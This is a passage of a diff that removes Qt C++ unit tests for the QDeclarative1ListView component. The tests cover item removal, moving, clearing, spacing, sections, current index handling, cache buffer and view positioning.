QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - model.removeItem(1); - QCOMPARE(canvas->rootObject()->property("count").toInt(), model.count()); - - QDeclarative1Text *name = findItem(contentItem, "textName", 1); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(1)); - QDeclarative1Text *number = findItem(contentItem, "textNumber", 1); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(1)); - - // Confirm items positioned correctly - int itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_VERIFY(item->y() == i*20); - } - - // Remove first item (which is the current item); - model.removeItem(0); // post: top item starts at 20 - - QTest::qWait(300); - - name = findItem(contentItem, "textName", 0); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(0)); - number = findItem(contentItem, "textNumber", 0); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(0)); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(),i*20.0 + 20.0); - } - - // Remove items not visible - model.removeItem(18); - qApp->processEvents(); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(),i*20.0+20.0); - } - - // Remove items before visible - listview->setContentY(80); - listview->setCurrentIndex(10); - - model.removeItem(1); // post: top item will be at 40 - qApp->processEvents(); - - // Confirm items positioned correctly - for (int i = 2; i < 18; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(),40+i*20.0); - } - - // Remove current index - QTRY_VERIFY(listview->currentIndex() == 9); - QDeclarativeItem *oldCurrent = listview->currentItem(); - model.removeItem(9); - - QTRY_COMPARE(listview->currentIndex(), 9); - QTRY_VERIFY(listview->currentItem() != oldCurrent); - - listview->setContentY(40); // That's the top now - // let transitions settle. - QTest::qWait(300); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(),40+i*20.0); - } - - // remove current item beyond visible items. - listview->setCurrentIndex(20); - listview->setContentY(40); - model.removeItem(20); - - QTRY_COMPARE(listview->currentIndex(), 20); - QTRY_VERIFY(listview->currentItem() != 0); - - // remove item before current, but visible - listview->setCurrentIndex(8); - oldCurrent = listview->currentItem(); - model.removeItem(6); - - QTRY_COMPARE(listview->currentIndex(), 7); - QTRY_VERIFY(listview->currentItem() == oldCurrent); - - listview->setContentY(80); - QTest::qWait(300); - - // remove all visible items - model.removeItems(1, 18); - QTest::qWait(300); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount-1; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i+2); - if (!item) qWarning() << "Item" << i+2 << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(),80+i*20.0); - } - - model.removeItems(1, 17); -// QTest::qWait(300); - - model.removeItems(2, 1); - model.addItem("New", "1"); - - QTRY_VERIFY(name = findItem(contentItem, "textName", model.count()-1)); - QCOMPARE(name->text(), QString("New")); - - // Add some more items so that we don't run out - model.clear(); - for (int i = 0; i < 50; i++) - model.addItem("Item" + QString::number(i), ""); - - // QTBUG-QTBUG-20575 - listview->setCurrentIndex(0); - listview->setContentY(30); - model.removeItem(0); - QTRY_VERIFY(name = findItem(contentItem, "textName", 0)); - - // QTBUG-19198 move to end and remove all visible items one at a time. - listview->positionViewAtEnd(); - for (int i = 0; i < 18; ++i) - model.removeItems(model.count() - 1, 1); - QTRY_VERIFY(findItems(contentItem, "wrapper").count() > 16); - - delete canvas; - delete testObject; -} - -template -void tst_QDeclarative1ListView::clear() -{ - QDeclarativeView *canvas = createView(); - - T model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - model.clear(); - - QTRY_VERIFY(listview->count() == 0); - QTRY_VERIFY(listview->currentItem() == 0); - QTRY_VERIFY(listview->contentY() == 0); - QVERIFY(listview->currentIndex() == -1); - - // confirm sanity when adding an item to cleared list - model.addItem("New", "1"); - QTRY_VERIFY(listview->count() == 1); - QVERIFY(listview->currentItem() != 0); - QVERIFY(listview->currentIndex() == 0); - - delete canvas; - delete testObject; -} - - -template -void tst_QDeclarative1ListView::moved() -{ - QDeclarativeView *canvas = createView(); - - T model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - model.moveItem(1, 4); - - QDeclarative1Text *name = findItem(contentItem, "textName", 1); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(1)); - QDeclarative1Text *number = findItem(contentItem, "textNumber", 1); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(1)); - - name = findItem(contentItem, "textName", 4); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(4)); - number = findItem(contentItem, "textNumber", 4); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(4)); - - // Confirm items positioned correctly - int itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_VERIFY(item->y() == i*20); - } - - listview->setContentY(80); - - // move outside visible area - model.moveItem(1, 18); - - // Confirm items positioned correctly and indexes correct - for (int i = 3; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(), i*20.0 + 20); - name = findItem(contentItem, "textName", i); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(i)); - number = findItem(contentItem, "textNumber", i); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(i)); - } - - // move from outside visible into visible - model.moveItem(20, 4); - - // Confirm items positioned correctly and indexes correct - for (int i = 3; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(), i*20.0 + 20); - name = findItem(contentItem, "textName", i); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(i)); - number = findItem(contentItem, "textNumber", i); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(i)); - } - - delete canvas; - delete testObject; -} - -void tst_QDeclarative1ListView::enforceRange() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listview-enforcerange.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QTRY_COMPARE(listview->preferredHighlightBegin(), 100.0); - QTRY_COMPARE(listview->preferredHighlightEnd(), 100.0); - QTRY_COMPARE(listview->highlightRangeMode(), QDeclarative1ListView::StrictlyEnforceRange); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - // view should be positioned at the top of the range. - QDeclarativeItem *item = findItem(contentItem, "wrapper", 0); - QTRY_VERIFY(item); - QTRY_COMPARE(listview->contentY(), -100.0); - - QDeclarative1Text *name = findItem(contentItem, "textName", 0); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(0)); - QDeclarative1Text *number = findItem(contentItem, "textNumber", 0); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(0)); - - // Check currentIndex is updated when contentItem moves - listview->setContentY(20); - - QTRY_COMPARE(listview->currentIndex(), 6); - - // change model - TestModel model2; - for (int i = 0; i < 5; i++) - model2.addItem("Item" + QString::number(i), ""); - - ctxt->setContextProperty("testModel", &model2); - QCOMPARE(listview->count(), 5); - - delete canvas; -} - -void tst_QDeclarative1ListView::spacing() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - // Confirm items positioned correctly - int itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_VERIFY(item->y() == i*20); - } - - listview->setSpacing(10); - QTRY_VERIFY(listview->spacing() == 10); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_VERIFY(item->y() == i*30); - } - - listview->setSpacing(0); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(), i*20.0); - } - - delete canvas; - delete testObject; -} - -void tst_QDeclarative1ListView::sections() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), QString::number(i/5)); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listview-sections.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - // Confirm items positioned correctly - int itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(), qreal(i*20 + ((i+4)/5) * 20)); - QDeclarative1Text *next = findItem(item, "nextSection"); - QCOMPARE(next->text().toInt(), (i+1)/5); - } - - QSignalSpy currentSectionChangedSpy(listview, SIGNAL(currentSectionChanged())); - - // Remove section boundary - model.removeItem(5); - - // New section header created - QDeclarativeItem *item = findItem(contentItem, "wrapper", 5); - QTRY_VERIFY(item); - QTRY_COMPARE(item->height(), 40.0); - - model.insertItem(3, "New Item", "0"); - - // Section header moved - item = findItem(contentItem, "wrapper", 5); - QTRY_VERIFY(item); - QTRY_COMPARE(item->height(), 20.0); - - item = findItem(contentItem, "wrapper", 6); - QTRY_VERIFY(item); - QTRY_COMPARE(item->height(), 40.0); - - // insert item which will become a section header - model.insertItem(6, "Replace header", "1"); - - item = findItem(contentItem, "wrapper", 6); - QTRY_VERIFY(item); - QTRY_COMPARE(item->height(), 40.0); - - item = findItem(contentItem, "wrapper", 7); - QTRY_VERIFY(item); - QTRY_COMPARE(item->height(), 20.0); - - QTRY_COMPARE(listview->currentSection(), QString("0")); - - listview->setContentY(140); - QTRY_COMPARE(listview->currentSection(), QString("1")); - - QTRY_COMPARE(currentSectionChangedSpy.count(), 1); - - listview->setContentY(20); - QTRY_COMPARE(listview->currentSection(), QString("0")); - - QTRY_COMPARE(currentSectionChangedSpy.count(), 2); - - item = findItem(contentItem, "wrapper", 1); - QTRY_VERIFY(item); - QTRY_COMPARE(item->height(), 20.0); - - // check that headers change when item changes - listview->setContentY(0); - model.modifyItem(0, "changed", "2"); - - item = findItem(contentItem, "wrapper", 1); - QTRY_VERIFY(item); - QTRY_COMPARE(item->height(), 40.0); - - delete canvas; -} - -void tst_QDeclarative1ListView::sectionsDelegate() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), QString::number(i/5)); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listview-sections_delegate.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - // Confirm items positioned correctly - int itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(), qreal(i*20 + ((i+5)/5) * 20)); - QDeclarative1Text *next = findItem(item, "nextSection"); - QCOMPARE(next->text().toInt(), (i+1)/5); - } - - for (int i = 0; i < 3; ++i) { - QDeclarativeItem *item = findItem(contentItem, "sect_" + QString::number(i)); - QVERIFY(item); - QTRY_COMPARE(item->y(), qreal(i*20*6)); - } - - model.modifyItem(0, "One", "aaa"); - model.modifyItem(1, "Two", "aaa"); - model.modifyItem(2, "Three", "aaa"); - model.modifyItem(3, "Four", "aaa"); - model.modifyItem(4, "Five", "aaa"); - - for (int i = 0; i < 3; ++i) { - QDeclarativeItem *item = findItem(contentItem, - "sect_" + (i == 0 ? QString("aaa") : QString::number(i))); - QVERIFY(item); - QTRY_COMPARE(item->y(), qreal(i*20*6)); - } - - // remove section boundary - model.removeItem(5); - qApp->processEvents(); - for (int i = 0; i < 3; ++i) { - QDeclarativeItem *item = findItem(contentItem, - "sect_" + (i == 0 ? QString("aaa") : QString::number(i))); - QVERIFY(item); - } - - // QTBUG-17606 - QList items = findItems(contentItem, "sect_1"); - QCOMPARE(items.count(), 1); - - // QTBUG-17759 - model.modifyItem(0, "One", "aaa"); - model.modifyItem(1, "One", "aaa"); - model.modifyItem(2, "One", "aaa"); - model.modifyItem(3, "Four", "aaa"); - model.modifyItem(4, "Four", "aaa"); - model.modifyItem(5, "Four", "aaa"); - model.modifyItem(6, "Five", "aaa"); - model.modifyItem(7, "Five", "aaa"); - model.modifyItem(8, "Five", "aaa"); - model.modifyItem(9, "Two", "aaa"); - model.modifyItem(10, "Two", "aaa"); - model.modifyItem(11, "Two", "aaa"); - QTRY_COMPARE(findItems(contentItem, "sect_aaa").count(), 1); - canvas->rootObject()->setProperty("sectionProperty", "name"); - // ensure view has settled. - QTRY_COMPARE(findItems(contentItem, "sect_Four").count(), 1); - for (int i = 0; i < 4; ++i) { - QDeclarativeItem *item = findItem(contentItem, - "sect_" + model.name(i*3)); - QVERIFY(item); - QTRY_COMPARE(item->y(), qreal(i*20*4)); - } - - // QTBUG-17769 - model.removeItems(10, 20); - // ensure view has settled. - QTRY_COMPARE(findItems(contentItem, "wrapper").count(), 10); - // Drag view up beyond bounds - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(20,20))); - { - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(20,0)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - } - { - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(20,-50)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - } - { - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(20,-200)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - } - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(20,-200))); - // view should settle back at 0 - QTRY_COMPARE(listview->contentY(), 0.0); - - delete canvas; -} - -void tst_QDeclarative1ListView::currentIndex() -{ - TestModel model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), QString::number(i)); - - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("testWrap", QVariant(false)); - - QString filename(SRCDIR "/data/listview-initCurrent.qml"); - canvas->setSource(QUrl::fromLocalFile(filename)); - - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - // current item should be 20th item at startup - // and current item should be in view - QCOMPARE(listview->currentIndex(), 20); - QCOMPARE(listview->contentY(), 100.0); - QCOMPARE(listview->currentItem(), findItem(contentItem, "wrapper", 20)); - QCOMPARE(listview->highlightItem()->y(), listview->currentItem()->y()); - - // no wrap - listview->setCurrentIndex(0); - QCOMPARE(listview->currentIndex(), 0); - // confirm that the velocity is updated - QTRY_VERIFY(listview->verticalVelocity() != 0.0); - - listview->incrementCurrentIndex(); - QCOMPARE(listview->currentIndex(), 1); - listview->decrementCurrentIndex(); - QCOMPARE(listview->currentIndex(), 0); - - listview->decrementCurrentIndex(); - QCOMPARE(listview->currentIndex(), 0); - - // with wrap - ctxt->setContextProperty("testWrap", QVariant(true)); - QVERIFY(listview->isWrapEnabled()); - - listview->decrementCurrentIndex(); - QCOMPARE(listview->currentIndex(), model.count()-1); - - QTRY_COMPARE(listview->contentY(), 280.0); - - listview->incrementCurrentIndex(); - QCOMPARE(listview->currentIndex(), 0); - - QTRY_COMPARE(listview->contentY(), 0.0); - - // Test keys - canvas->show(); - qApp->setActiveWindow(canvas); -#ifdef Q_WS_X11 - // to be safe and avoid failing setFocus with window managers - qt_x11_wait_for_window_manager(canvas); -#endif - QTRY_VERIFY(canvas->hasFocus()); - QTRY_VERIFY(canvas->scene()->hasFocus()); - qApp->processEvents(); - - QTest::keyClick(canvas, Qt::Key_Down); - QCOMPARE(listview->currentIndex(), 1); - - QTest::keyClick(canvas, Qt::Key_Up); - QCOMPARE(listview->currentIndex(), 0); - - // turn off auto highlight - listview->setHighlightFollowsCurrentItem(false); - QVERIFY(listview->highlightFollowsCurrentItem() == false); - - QVERIFY(listview->highlightItem()); - qreal hlPos = listview->highlightItem()->y(); - - listview->setCurrentIndex(4); - QTRY_COMPARE(listview->highlightItem()->y(), hlPos); - - // insert item before currentIndex - listview->setCurrentIndex(28); - model.insertItem(0, "Foo", "1111"); - QTRY_COMPARE(canvas->rootObject()->property("current").toInt(), 29); - - // check removing highlight by setting currentIndex to -1; - listview->setCurrentIndex(-1); - - QCOMPARE(listview->currentIndex(), -1); - QVERIFY(!listview->highlightItem()); - QVERIFY(!listview->currentItem()); - - delete canvas; -} - -void tst_QDeclarative1ListView::noCurrentIndex() -{ - TestModel model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), QString::number(i)); - - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - QString filename(SRCDIR "/data/listview-noCurrent.qml"); - canvas->setSource(QUrl::fromLocalFile(filename)); - - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - // current index should be -1 at startup - // and we should not have a currentItem or highlightItem - QCOMPARE(listview->currentIndex(), -1); - QCOMPARE(listview->contentY(), 0.0); - QVERIFY(!listview->highlightItem()); - QVERIFY(!listview->currentItem()); - - listview->setCurrentIndex(2); - QCOMPARE(listview->currentIndex(), 2); - QVERIFY(listview->highlightItem()); - QVERIFY(listview->currentItem()); - - delete canvas; -} - -void tst_QDeclarative1ListView::itemList() -{ - QDeclarativeView *canvas = createView(); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/itemlist.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "view"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QDeclarative1VisualItemModel *model = canvas->rootObject()->findChild("itemModel"); - QTRY_VERIFY(model != 0); - - QTRY_VERIFY(model->count() == 3); - QTRY_COMPARE(listview->currentIndex(), 0); - - QDeclarativeItem *item = findItem(contentItem, "item1"); - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), 0.0); - QCOMPARE(item->height(), listview->height()); - - QDeclarative1Text *text = findItem(contentItem, "text1"); - QTRY_VERIFY(text); - QTRY_COMPARE(text->text(), QLatin1String("index: 0")); - - listview->setCurrentIndex(2); - - item = findItem(contentItem, "item3"); - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), 480.0); - - text = findItem(contentItem, "text3"); - QTRY_VERIFY(text); - QTRY_COMPARE(text->text(), QLatin1String("index: 2")); - - delete canvas; -} - -void tst_QDeclarative1ListView::cacheBuffer() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - QTRY_VERIFY(listview->delegate() != 0); - QTRY_VERIFY(listview->model() != 0); - QTRY_VERIFY(listview->highlight() != 0); - - // Confirm items positioned correctly - int itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_VERIFY(item->y() == i*20); - } - - testObject->setCacheBuffer(400); - QTRY_VERIFY(listview->cacheBuffer() == 400); - - int newItemCount = findItems(contentItem, "wrapper").count(); - QTRY_VERIFY(newItemCount > itemCount); - - // Confirm items positioned correctly - for (int i = 0; i < model.count() && i < newItemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_VERIFY(item->y() == i*20); - } - - delete canvas; - delete testObject; -} - -void tst_QDeclarative1ListView::positionViewAtIndex() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 40; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml")); - qApp->processEvents(); - - QDeclarative1ListView *listview = findItem(canvas->rootObject(), "list"); - QTRY_VERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - // Confirm items positioned correctly - int itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(), i*20.); - } - - // Position on a currently visible item - listview->positionViewAtIndex(3, QDeclarative1ListView::Beginning); - QTRY_COMPARE(listview->contentY(), 60.); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 3; i < model.count() && i < itemCount-3-1; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(), i*20.); - } - - // Position on an item beyond the visible items - listview->positionViewAtIndex(22, QDeclarative1ListView::Beginning); - QTRY_COMPARE(listview->contentY(), 440.); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 22; i < model.count() && i < itemCount-22-1; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(), i*20.); - } - - // Position on an item that would leave empty space if positioned at the top - listview->positionViewAtIndex(28, QDeclarative1ListView::Beginning); - QTRY_COMPARE(listview->contentY(), 480.); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 24; i < model.count() && i < itemCount-24-1; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(), i*20.); - } - - // Position at the beginning again - listview->positionViewAtIndex(0, QDeclarative1ListView::Beginning); - QTRY_COMPARE(listview->contentY(), 0.); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount-1; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(), i*20.); - } - - // Position at End using last index - listview->positionViewAtIndex(model.count()-1, QDeclarative1ListView::End); - QTRY_COMPARE(listview->contentY(), 480.); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 24; i < model.count(); ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->y(), i*20.); - } - - // Position at End - listview->positionViewAtIndex(20, QDeclarative1ListView::End); - QTRY_COMPARE(listview->contentY(), 100.); - - // Position in Center - listview->positionViewAtIndex(15, QDeclarative1ListView::Center); - QTRY_COMPARE(listview->contentY(), 150.); - - // Ensure at least partially visible - listview->positionViewAtIndex(15, QDeclarative1ListView::Visible); - QTRY_COMPARE(listview->contentY(), 150.); - - listview->setContentY(302); - listview->positionViewAtIndex(15, QDeclarative1ListView::Visible); - QTRY_COMPARE(listview->contentY(), 302.); - - listview->setContentY(320); - listview->positionViewAtIndex(15, QDeclarative1ListView::Visible); - QTRY_COMPARE(listview->contentY(), 300.); - - listview->setContentY(85); - listview->positionViewAtIndex(20, QDeclarative1ListView::Visible); - QTRY_COMPARE(listview->contentY(), 85.); - - listview->setContentY(75); - listview->positionViewAtIndex(20, QDeclarative1ListView::Visible); - QTRY_COMPARE(listview->contentY(), 100.); - - // Ensure completely visible - listview->setContentY(120); - listview->positionViewAtIndex(20, QDeclarative1ListView::Contain); - QTRY_COMPARE(listview->contentY(), 120.); - - listview->setContentY(302); - listview->positionViewAtIndex(15, QDeclarative1ListView::Contain); - QTRY_COMPARE(listview->contentY(), 300.); - - listview->setContentY(85); - listview->positionViewAtIndex(20, QDeclarative1ListView::Contain); - QTRY_COMPARE(listview->contentY(), 100.); - - // positionAtBeginnging - listview->positionViewAtBeginning(); - QTRY_COMPARE(listview->contentY(), 0.); - - listview->setContentY(80); - canvas->rootObject()->setProperty("showHeader", true); - listview->positionViewAtBeginning(); - QTRY_COMPARE(listview->contentY(), -30.); - - // positionAtEnd - listview->positionViewAtEnd(); - QTRY_COMPARE(listview->contentY(), 480.); // 40*20 - 320 - - listview->setContentY(80); - canvas->rootObject()->setProperty("showFooter", true); - 